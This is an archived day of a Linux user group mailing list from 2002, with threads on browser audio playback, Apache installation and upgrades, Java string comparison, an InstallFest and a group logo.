AM Subject: Sound in opera - Linux at work > Hi, So far Opera 6.01 is the only browser that does all I need it to do > except 1 thing. I have a web page that downloads a wav file when certain > events happen. I have to be able to hear the wave file. > > I can hear sound if it comes in as part of a shockwave file. > > When I go to the preferences section "Enable embedded audio" is grayed out . > > I think that perhaps the line in the page that brings in the sound file may > be a prorietary Microsoft tag. I've asked the developer to email me the code, > but haven't gotten it yet. > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to continue > using linux at work. > > > HELP!!!! > > Charlie > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:33:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 21 Jun 2002 10:33:17 -0700 (PDT) Subject: Apache expert at Installfest Message-ID: <20020621173317.73750.qmail@web10601.mail.yahoo.com> Hello Linux users: Will there be an Apache 'expert' tomorrow at installfest? I can bring my machine with RH 7.2. I just need help installing Apache and getting it to run. I have no clue. If anyone recommends a better distribution that runs Apache, rather than RH, should I just reformat my drive and use that distribution instead? BTW, is it easier just to bring the CPU, KB and mice? Will the event have monitors and mice we can temporarily use? Looking forward to meet 'yall.' ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:47:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 21 Jun 2002 10:47:21 -0700 Subject: apache upgrade Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B508@mail.int.fh.org> Not sure why you get all those dependencies, on my Red Hat 7.3 box I upgraded using RH's up2date and it only downloaded two rpm's (one program and one for the documentation) and installed it with no problem. Total size of the download was under 2 meg. Date: Fri, 21 Jun 2002 08:55:32 -0700 (MST) From: William Lindley To: Phoenix Linux Users Group Cc: Scott Walters Subject: apache upgrade Reply-To: plug-discuss@lists.plug.phoenix.az.us Am on a Mandrake 7.2 box... I know there are remote exploits for Apache and I want to upgrade... Tried to use the Mandrake Update program to update Apache. it fails, with no sensible error message, so I'm trying to do it manually... Apparently there are about a dozen other RPMs apache depends on. This looked hopeless (download a.rpm, try to install, it wants b.rpm, download, it wants c.rpm, etc etc) So I downloaded the apache source rpm, but i can't install that because it wants gdbm-devel ... but there is no gdbm-devel rpm... so I'm stuck. Any ideas how to proceed? \\/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:49:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 21 Jun 2002 10:49:41 -0700 (PDT) Subject: Apache expert at Installfest In-Reply-To: <20020621173317.73750.qmail@web10601.mail.yahoo.com> Message-ID: Yeah, I'll be there to help you with Apache. On Fri, 21 Jun 2002, Alpha Zenon Sanchez wrote: > Hello Linux users: > > Will there be an Apache 'expert' tomorrow at > installfest? I can bring my machine with RH 7.2. I > just need help installing Apache and getting it to > run. > > I have no clue. If anyone recommends a better > distribution that runs Apache, rather than RH, should > I just reformat my drive and use that distribution > instead? > > BTW, is it easier just to bring the CPU, KB and mice? > Will the event have monitors and mice we can > temporarily use? > > Looking forward to meet 'yall.' > > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:51:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 21 Jun 2002 10:51:42 -0700 Subject: Fwd: Re: Sound in opera - Linux at work Message-ID: <200206211844.g5LIiR205516@PlugList.MyButt.Net> ---------- Forwarded Message ---------- Subject: Re: Sound in opera - Linux at work Date: Fri, 21 Jun 2002 10:40:37 -0700 From: charlie bullen To: plug-discuss@lists.plug.phoenix.az.us I've tried Mozilla 1.0, Konquerer 2.2.1 and Opera 6.01. I'll try contacting opera by email as well, good idea. I have been told that I have to get sound working fast or I'm back to XP. Charlie On Friday 21 June 2002 10:26, you wrote: > Charlie, > > Is opera your only choice? Is this the end of Linux on your desktop? try > mozilla, netscape or any of the other small army of browsers, one of them > should do it. just not IE ;-) There are a couple sites out there that > list them all, and hold on, try > http://kmself.home.netcom.com/Linux/FAQs/browsers.html > > for a start. then you could also contact opera using one of the tools on > http://www.opera.com/support/. they do have free email support > > Anthony > > > ----- Original Message ----- > From: "charlie bullen" > To: > Sent: Friday, June 21, 2002 10:00 AM > Subject: Sound in opera - Linux at work > > > Hi, So far Opera 6.01 is the only browser that does all I need it to do > > except 1 thing. I have a web page that downloads a wav file when certain > > events happen. I have to be able to hear the wave file. > > > > I can hear sound if it comes in as part of a shockwave file. > > > > When I go to the preferences section "Enable embedded audio" is grayed > > out > > . > > > I think that perhaps the line in the page that brings in the sound file > > may > > > be a prorietary Microsoft tag. I've asked the developer to email me the > > code, > > > but haven't gotten it yet. > > > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to > > continue using linux at work. > > > > > > HELP!!!! > > > > Charlie > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 18:09:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Isaac Sparrow) Date: Fri, 21 Jun 2002 11:09:44 -0700 Subject: Help getting experience In-Reply-To: <20020621162543.52195.qmail@web10602.mail.yahoo.com> References: <20020621162543.52195.qmail@web10602.mail.yahoo.com> Message-ID: <200206211109.49382.isaac.sparrow@visicomp.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Friday 21 June 2002 09:25 am, Alpha Zenon Sanchez wrote: > > BTW...my gut instinct tells me that the second example > > 'if (a.equals("something")){ > > ---instructions---- > > } > > will compile and work....I've seen this example > before, > but not sure why a.equals works rather than a == > > ===== > Thanks, > Alpha Zenon Sanchez > "a.equls()" tests to see if the objects are equal. Two diff. objects are equal. "==" will tell you if two refrences point to the same object. String a = "foo" String b = "foo" if (a.equals(b)) // true if (a == b) // false b = a if (a == b) // true Hope this helps. - -- - ------------------------------------------------- Isaac Sparrow Staff Engineer VisiComp, Inc. http://www.visicomp.com GnuPG Key Fingerprint: 1060 5A07 F6EC B2B3 9AAA 3EA5 7B79 EFE1 6397 4F47 Get my public key at: http://www.concentric.net/~issparow 'Mounten' wird fuer drei Dinge benutzt: 'Aufsitzen' auf Pferde, 'einklinken' von Festplatten in Dateisysteme, und, nun, 'besteigen' beim Sex. (Christa Keil in a German posting: "Mounting is used for three things: climbing on a horse, linking in a hard disk unit in data systems, and, well, mounting during sex".) -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: NSA bad. Encryption good. iD8DBQE9E2vse3nv4WOXT0cRArERAJ446bZ0bYzp4rvP3abvhwgECo+PjACdGGmL cY2XScj/BEnP6rGkL67HNng= =lN7s -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 18:35:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (G.D.Thurman) Date: Fri, 21 Jun 2002 11:35:02 -0700 (MST) Subject: Off-topic... In-Reply-To: <20020621071606.A31284@magusnet.com> Message-ID: On Fri, 21 Jun 2002, J.Francois wrote: > Maybe I should plan my next vacation around the PLUG meeting dates and doing > a presentation on FreeBSD instead. > Excellent. I hope your schedule allows you to do this. Is there an active Phoenix *BSD User Group? Thanks to MitchW for this URL to an interview with Jordan Hubbard. [Hubbard has not used Linux.] http://kerneltrap.org/node.php?id=278 G.D. Thurman [CS/CIS Instructor] http://deru.com/~gdt/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:12:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 21 Jun 2002 12:12:40 -0700 Subject: Fwd: Re: Sound in opera - Linux at work In-Reply-To: <200206211844.g5LIiR205516@PlugList.MyButt.Net> References: <200206211844.g5LIiR205516@PlugList.MyButt.Net> Message-ID: <1024686760.11131.9.camel@barney.azapple.com> ARe you sure that you have software on your computer that can play 'wav' files? Is is listed as a mime application? Craig On Fri, 2002-06-21 at 10:51, charlie bullen wrote: > > > ---------- Forwarded Message ---------- > > Subject: Re: Sound in opera - Linux at work > Date: Fri, 21 Jun 2002 10:40:37 -0700 > From: charlie bullen > To: plug-discuss@lists.plug.phoenix.az.us > > I've tried Mozilla 1.0, Konquerer 2.2.1 and Opera 6.01. I'll try contacting > opera by email as well, good idea. > > I have been told that I have to get sound working fast or I'm back to XP. > > Charlie > > On Friday 21 June 2002 10:26, you wrote: > > Charlie, > > > > Is opera your only choice? Is this the end of Linux on your desktop? try > > mozilla, netscape or any of the other small army of browsers, one of them > > should do it. just not IE ;-) There are a couple sites out there that > > list them all, and hold on, try > > http://kmself.home.netcom.com/Linux/FAQs/browsers.html > > > > for a start. then you could also contact opera using one of the tools on > > http://www.opera.com/support/. they do have free email support > > > > Anthony > > > > > > ----- Original Message ----- > > From: "charlie bullen" > > To: > > Sent: Friday, June 21, 2002 10:00 AM > > Subject: Sound in opera - Linux at work > > > > > Hi, So far Opera 6.01 is the only browser that does all I need it to do > > > except 1 thing. I have a web page that downloads a wav file when certain > > > events happen. I have to be able to hear the wave file. > > > > > > I can hear sound if it comes in as part of a shockwave file. > > > > > > When I go to the preferences section "Enable embedded audio" is grayed > > > out > > > > . > > > > > I think that perhaps the line in the page that brings in the sound file > > > > may > > > > > be a prorietary Microsoft tag. I've asked the developer to email me the > > > > code, > > > > > but haven't gotten it yet. > > > > > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to > > > continue using linux at work. > > > > > > > > > HELP!!!! > > > > > > Charlie > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ------------------------------------------------------- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:23:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 12:23:08 -0700 Subject: Sound in opera - Linux at work In-Reply-To: <200206211753.g5LHrI205079@PlugList.MyButt.Net> References: <200206211753.g5LHrI205079@PlugList.MyButt.Net> Message-ID: <200206211223.08520.zen2now@qwest.net> i dont know if this will help you. but i was able to play a .wav from the plugger test page in opera 6.0 @ http://fredrik.hubbe.net/plugger/test.html, by editing preferences/applications=audio/x-wav, select "Open with other Application" and choose /usr/bin/xmms. I dont know if this will work in your situation, but from the plugger test page i was able to click on the WAV link to the left and play test.wav. slr On Friday 21 June 2002 10:00 am, charlie bullen wrote: > Hi, So far Opera 6.01 is the only browser that does all I need it to do > except 1 thing. I have a web page that downloads a wav file when certain > events happen. I have to be able to hear the wave file. > > I can hear sound if it comes in as part of a shockwave file. > > When I go to the preferences section "Enable embedded audio" is grayed out > . > > I think that perhaps the line in the page that brings in the sound file may > be a prorietary Microsoft tag. I've asked the developer to email me the > code, but haven't gotten it yet. > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to continue > using linux at work. > > > HELP!!!! > > Charlie > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:31:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Fri, 21 Jun 2002 12:31:21 -0700 (PDT) Subject: Apache expert at Installfest In-Reply-To: Message-ID: <20020621193121.48571.qmail@web13908.mail.yahoo.com> I would love to upgrade the apache on Mandrake 7.2, will there be an internet connection to download the needed files? Should we have a side area for upgrading Apache? mike --- Matt Alexander wrote: > Yeah, I'll be there to help you with Apache. > > > On Fri, 21 Jun 2002, Alpha Zenon Sanchez wrote: > > > Hello Linux users: > > > > Will there be an Apache 'expert' tomorrow at > > installfest? I can bring my machine with RH 7.2. > I > > just need help installing Apache and getting it to > > run. > > > > I have no clue. If anyone recommends a better > > distribution that runs Apache, rather than RH, > should > > I just reformat my drive and use that distribution > > instead? > > > > BTW, is it easier just to bring the CPU, KB and > mice? > > Will the event have monitors and mice we can > > temporarily use? > > > > Looking forward to meet 'yall.' > > > > > > ===== > > Thanks, > > Alpha Zenon Sanchez > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:32:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 21 Jun 2002 12:32:03 -0700 Subject: Plug Logo Update In-Reply-To: <002701c21931$22b4c780$2f7c0d82@peyote> References: <200206210600.00339.dennisk@sahuaro.f2s.com> Message-ID: <5.1.0.14.0.20020621122416.024ff170@localhost> Logos mostly are for the brand naming of such groups, items or services that a company or group wish to be known by. Google changes things from time to time but still have the "same" lettering. I believe that a logo should be a single logo but that we can add things to it. Like around during the second season we have of summer, have the flowers. Otherwise, I vote for only the saguaro. The prickly pear is just funny looking. My two copper, shiny pennies worth. Kimi Adams Unity Wave At 6/21/02, you wrote: >actually that is what i was thinking, but i didnt know how the rest of the >group would feel about that. >but IMHO, i think we should have both. > >slr > >----- Original Message ----- >From: "Dennis Kibbe" >To: >Sent: Friday, June 21, 2002 6:00 AM >Subject: Re: Plug Logo Update > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > Am 20. Jun, 2002 schwätzte slr so: > > > > good point. i will get Austin to create one with saguaro's as well. > > > > > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool to >have > > > one with flowers, but they'd look like zits on small images... > > > > > > ciao, > > > > > > der.hans > > > > The logo is looking good! The prickley pear work for me. Any reason not >to do > > both pear and sahuaro for variety? > > > > I'm thinking t-shirts! > > > > Dennis Kibbe > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:12:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jiva DeVoe) Date: Fri, 21 Jun 2002 13:12:00 -0700 Subject: Off-topic... In-Reply-To: Message-ID: Last I heard, there was one, but he moved. BTW, yes, I have returned. :) On 6/21/02 11:35 AM, "G.D.Thurman" wrote: > > On Fri, 21 Jun 2002, J.Francois wrote: > >> Maybe I should plan my next vacation around the PLUG meeting dates and doing >> a presentation on FreeBSD instead. >> > Excellent. I hope your schedule allows > you to do this. > > Is there an active Phoenix *BSD User Group? > > Thanks to MitchW for this URL to an interview > with Jordan Hubbard. [Hubbard has not used Linux.] > http://kerneltrap.org/node.php?id=278 > > G.D. Thurman [CS/CIS Instructor] > http://deru.com/~gdt/ > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:33:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 21 Jun 2002 13:33:21 -0700 Subject: Off-topic... In-Reply-To: ; from jivad@earthlink.net on Fri, Jun 21, 2002 at 01:12:00PM -0700 References: Message-ID: <20020621133321.A5572@nadesico> On Fri, Jun 21, 2002 at 01:12:00PM -0700, Jiva DeVoe wrote: > Last I heard, there was one, but he moved. > > BTW, yes, I have returned. :) Congrats! ^,^ ...returned as in to the list, or returned as in to the valley? =op -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:27:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 21 Jun 2002 16:27:59 -0400 Subject: InstallFest internet connection? Yes! Message-ID: This has come up a few times in reference to the InstallFest so... Yes, there will be access to the internet at the InstallFest. Wired access is definately going to be provided. Bring a network cable if you want. I don't know if wireless connection will be available. I don't know the status of dial-up connection capabilities. I am told there will be no problems with power but you may want to bring a power strip along to make sure we don't run out of them. Alan From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:32:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 13:32:28 -0700 Subject: Plug Logo Update References: <200206210600.00339.dennisk@sahuaro.f2s.com> <5.1.0.14.0.20020621122416.024ff170@localhost> Message-ID: <004101c21962$c3bbf640$2f7c0d82@peyote> well i had a talk with austin's boss, and he is now in the office. :~D just kidding! i gave him the imput from the group, and he said he would get on it when he gets a chance. so maybe be days end, we will have one with a saguaro, and a centered "Phoenix Linux". but what is the feeling from the group about the S. should it be "Users Group", or like it is on the PLUG website "User Group"? slr ----- Original Message ----- From: "Kimi A. Adams" To: Sent: Friday, June 21, 2002 12:32 PM Subject: Re: Plug Logo Update > Logos mostly are for the brand naming of such groups, items or services > that a company or group wish to be known by. Google changes things from > time to time but still have the "same" lettering. I believe that a logo > should be a single logo but that we can add things to it. Like around > during the second season we have of summer, have the flowers. > > Otherwise, I vote for only the saguaro. The prickly pear is just funny > looking. My two copper, shiny pennies worth. > > Kimi Adams > Unity Wave > > At 6/21/02, you wrote: > >actually that is what i was thinking, but i didnt know how the rest of the > >group would feel about that. > >but IMHO, i think we should have both. > > > >slr > > > >----- Original Message ----- > >From: "Dennis Kibbe" > >To: > >Sent: Friday, June 21, 2002 6:00 AM > >Subject: Re: Plug Logo Update > > > > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > > Am 20. Jun, 2002 schwätzte slr so: > > > > > good point. i will get Austin to create one with saguaro's as well. > > > > > > > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool to > >have > > > > one with flowers, but they'd look like zits on small images... > > > > > > > > ciao, > > > > > > > > der.hans > > > > > > The logo is looking good! The prickley pear work for me. Any reason not > >to do > > > both pear and sahuaro for variety? > > > > > > I'm thinking t-shirts! > > > > > > Dennis Kibbe > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:32:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jiva DeVoe) Date: Fri, 21 Jun 2002 13:32:36 -0700 Subject: Off-topic... In-Reply-To: <20020621133321.A5572@nadesico> Message-ID: Returned as in to the valley. :) On 6/21/02 1:33 PM, "mondoshawan@tank.dyndns.org" wrote: > On Fri, Jun 21, 2002 at 01:12:00PM -0700, Jiva DeVoe wrote: >> Last I heard, there was one, but he moved. >> >> BTW, yes, I have returned. :) > > Congrats! ^,^ > ...returned as in to the list, or returned as in to the valley? =op From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:59:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 21 Jun 2002 13:59:27 -0700 Subject: Plug Logo Update In-Reply-To: <004101c21962$c3bbf640$2f7c0d82@peyote> References: <5.1.0.14.0.20020621122416.024ff170@localhost> <004101c21962$c3bbf640$2f7c0d82@peyote> Message-ID: <0206211359270C.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I did a quick check and there doesnt seem to be a preferred form - Users Group vs. User Group. Historically, this group has been known as the Phoenix Linux User Group but the PLUG banner says Phoenix Linux Users Group. Makes no difference to me. Just get it done cause I want a PLUG tshirt NOW! On Friday 21 June 2002 13:32, you wrote: > well i had a talk with austin's boss, and he is now in the office. :~D just > kidding! i gave him the imput from the group, and he said he would get on > it when he gets a chance. so maybe be days end, we will have one with a > saguaro, and a centered "Phoenix Linux". but what is the feeling from the > group about the S. should it be "Users Group", or like it is on the PLUG > website "User Group"? > > slr > > ----- Original Message ----- > From: "Kimi A. Adams" > To: > Sent: Friday, June 21, 2002 12:32 PM > Subject: Re: Plug Logo Update > > > Logos mostly are for the brand naming of such groups, items or services > > that a company or group wish to be known by. Google changes things from > > time to time but still have the "same" lettering. I believe that a logo > > should be a single logo but that we can add things to it. Like around > > during the second season we have of summer, have the flowers. > > > > Otherwise, I vote for only the saguaro. The prickly pear is just funny > > looking. My two copper, shiny pennies worth. > > > > Kimi Adams > > Unity Wave > > > > At 6/21/02, you wrote: > > >actually that is what i was thinking, but i didnt know how the rest of > > the > > > >group would feel about that. > > >but IMHO, i think we should have both. > > > > > >slr > > > > > >----- Original Message ----- > > >From: "Dennis Kibbe" > > >To: > > >Sent: Friday, June 21, 2002 6:00 AM > > >Subject: Re: Plug Logo Update > > > > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > > > Am 20. Jun, 2002 schwätzte slr so: > > > > > > good point. i will get Austin to create one with saguaro's as > > well. > > > > > > If we he does, can we impose further and get sag w/ and w/o > > blossoms? > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool > > > > > to > > > > > >have > > > > > > > > one with flowers, but they'd look like zits on small images... > > > > > > > > > > ciao, > > > > > > > > > > der.hans > > > > > > > > The logo is looking good! The prickley pear work for me. Any reason > > not > > > >to do > > > > > > > both pear and sahuaro for variety? > > > > > > > > I'm thinking t-shirts! > > > > > > > > Dennis Kibbe > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > > > >post to the list quickly and you use Netscape to write mail. > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPROTsSsk3ywszI1FEQJXYgCghomHSzDnBeQzaOocsqtpIkMToGkAoMhn eJP6zFk+qRYwKinOQZl+0XKb =0T92 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:11:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 14:11:32 -0700 Subject: Plug Logo Update In-Reply-To: <0206211359270C.01526@nova.wedge.org> References: <004101c21962$c3bbf640$2f7c0d82@peyote> <0206211359270C.01526@nova.wedge.org> Message-ID: <200206211411.32894.zen2now@qwest.net> Oh my! When did you WANT that done!! hehe :~D then its settled, we will leave it the way it is "User Goup", but if it becomes a big issue we will just add an S. slr On Friday 21 June 2002 01:59 pm, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I did a quick check and there doesnt seem to be a preferred form - Users > Group vs. User Group. Historically, this group has been known as the > Phoenix Linux User Group but the PLUG banner says Phoenix Linux Users > Group. Makes no difference to me. Just get it done cause I want a PLUG > tshirt NOW! > > On Friday 21 June 2002 13:32, you wrote: > > well i had a talk with austin's boss, and he is now in the office. :~D > > just kidding! i gave him the imput from the group, and he said he would > > get on it when he gets a chance. so maybe be days end, we will have one > > with a saguaro, and a centered "Phoenix Linux". but what is the feeling > > from the group about the S. should it be "Users Group", or like it is on > > the PLUG website "User Group"? > > > > slr > > > > ----- Original Message ----- > > From: "Kimi A. Adams" > > To: > > Sent: Friday, June 21, 2002 12:32 PM > > Subject: Re: Plug Logo Update > > > > > Logos mostly are for the brand naming of such groups, items or services > > > that a company or group wish to be known by. Google changes things > > > from time to time but still have the "same" lettering. I believe that > > > a logo should be a single logo but that we can add things to it. Like > > > around during the second season we have of summer, have the flowers. > > > > > > Otherwise, I vote for only the saguaro. The prickly pear is just funny > > > looking. My two copper, shiny pennies worth. > > > > > > Kimi Adams > > > Unity Wave > > > > > > At 6/21/02, you wrote: > > > >actually that is what i was thinking, but i didnt know how the rest of > > > > the > > > > > >group would feel about that. > > > >but IMHO, i think we should have both. > > > > > > > >slr > > > > > > > >----- Original Message ----- > > > >From: "Dennis Kibbe" > > > >To: > > > >Sent: Friday, June 21, 2002 6:00 AM > > > >Subject: Re: Plug Logo Update > > > > > > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > > > > Am 20. Jun, 2002 schwätzte slr so: > > > > > > > good point. i will get Austin to create one with saguaro's as > > > > well. > > > > > > > > If we he does, can we impose further and get sag w/ and w/o > > > > blossoms? > > > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool > > > > > > to > > > > > > > >have > > > > > > > > > > one with flowers, but they'd look like zits on small images... > > > > > > > > > > > > ciao, > > > > > > > > > > > > der.hans > > > > > > > > > > The logo is looking good! The prickley pear work for me. Any > > > > > reason > > > > not > > > > > >to do > > > > > > > > > both pear and sahuaro for variety? > > > > > > > > > > I'm thinking t-shirts! > > > > > > > > > > Dennis Kibbe > > > > > ________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't > > > > > >post to the list quickly and you use Netscape to write mail. > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > 